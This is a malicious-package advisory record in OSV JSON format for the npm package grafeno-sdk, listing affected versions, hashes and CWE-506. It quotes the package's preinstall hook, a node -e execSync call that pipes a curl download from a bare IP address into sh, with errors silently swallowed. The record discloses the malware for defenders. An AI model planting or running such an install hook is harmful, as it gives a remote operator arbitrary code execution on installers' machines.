grafeno-sdk

{"schema_version":"1.7.4","id":"MAL-2026-15508","published":"2026-08-28T23:02:18Z","modified":"2026-08-29T01:44:41.603471033Z","summary":"Malicious code in grafeno-sdk (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (665dd78adc2d9c5f30bd8b140dc2dfc5bf9e61efb96ea9945018154d43102ad3)\npackage.json declares a preinstall lifecycle script that runs `node -e` to invoke `child_process.execSync('curl -s 216.126.236.46/x.sh|sh', {shell:'/bin/bash'})`, wrapped in a try/catch that silently discards errors. On `npm install`, this fetches an opaque shell script from a bare IPv4 address (216.126.236.46) over plain HTTP and pipes it directly to bash, giving the operator of that IP arbitrary code execution on the installer's machine. The node-wrapper and error-swallow conceal the fetch from lifecycle output and hide any failure from the installer.\n","affected":[{"package":{"name":"grafeno-sdk","ecosystem":"npm"},"versions":["1.0.0","1.0.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"942cc68d5099d9764cb1648c9286abb8cc1e2af6a584398f2b83849ec43a193e","tlsh":"b9e020748d14f6f367c542710e16421776a39d0a0218bd0c774b0128e2df3a35df595b"}],"package_integrity":[{"filename":"grafeno-sdk-1.0.0.tgz","hashes":{"sha1":"43b6bfcfb654d6150a6a004aee55fb34b91b8233","sha512_sri":"sha512-PmxgVSqAtz3AiHgVtQhyhmHf1GCaTvooeOiJFKGnH/wyWEPpHFkx8hgumPcWvAbmsJJrYBvDzXeCferda4S0vw=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/grafeno-sdk/v/1.0.0"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/grafeno-sdk/v/1.0.1"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-019065","import_time":"2026-08-28T23:14:35.648027575Z","modified_time":"2026-08-28T23:02:18Z","sha256":"665dd78adc2d9c5f30bd8b140dc2dfc5bf9e61efb96ea9945018154d43102ad3","source":"amazon-inspector","versions":["1.0.0"]},{"id":"IN-MAL-2026-019112","import_time":"2026-08-29T01:42:57.888525778Z","modified_time":"2026-08-29T01:42:23Z","sha256":"25e44de3463c06333e90fa0b635cecc25a6f81129fca34f2b07963acb7dd11a8","source":"amazon-inspector","versions":["1.0.1"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}